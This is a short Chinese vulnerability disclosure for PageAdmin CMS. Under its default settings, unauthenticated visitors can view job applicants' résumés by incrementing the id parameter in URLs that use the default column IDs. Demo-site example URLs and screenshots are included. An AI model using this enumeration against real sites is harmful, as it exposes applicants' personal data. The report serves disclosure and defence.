### 简要描述:
泄露信息了
### 详细说明:
系统默认设置,游客可以查看用户简历 导致信息泄露
简历模块参数是默认的 默认是68和635
找demo站进行测试吧
直接访问
```
http://demo.pageadmin.net/index.aspx?lanmuid=68&sublanmuid=635&id=1
```
[<img src="https://images.seebug.org/upload/201406/28171529bebc6765940fb9573549c8d133667de7.png" alt="814.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/28171529bebc6765940fb9573549c8d133667de7.png)
```
http://demo.pageadmin.net/index.aspx?lanmuid=68&sublanmuid=635&id=2
```
[<img src="https://images.seebug.org/upload/201406/2817163546c744d04002b0c6acdc289a29dfeabf.png" alt="614.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2817163546c744d04002b0c6acdc289a29dfeabf.png)
....
//遍历id 就可以查看每个人投递的简历了 用户信息还是挺敏感的
```
http://demo.pageadmin.net/index.aspx?lanmuid=68&sublanmuid=635&id=10
```
[<img src="https://images.seebug.org/upload/201406/28172030dd1610607ae5544c9500b42fff88f67d.png" alt="11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/28172030dd1610607ae5544c9500b42fff88f67d.png)
### 漏洞证明:
漏洞证明如上
暂无评论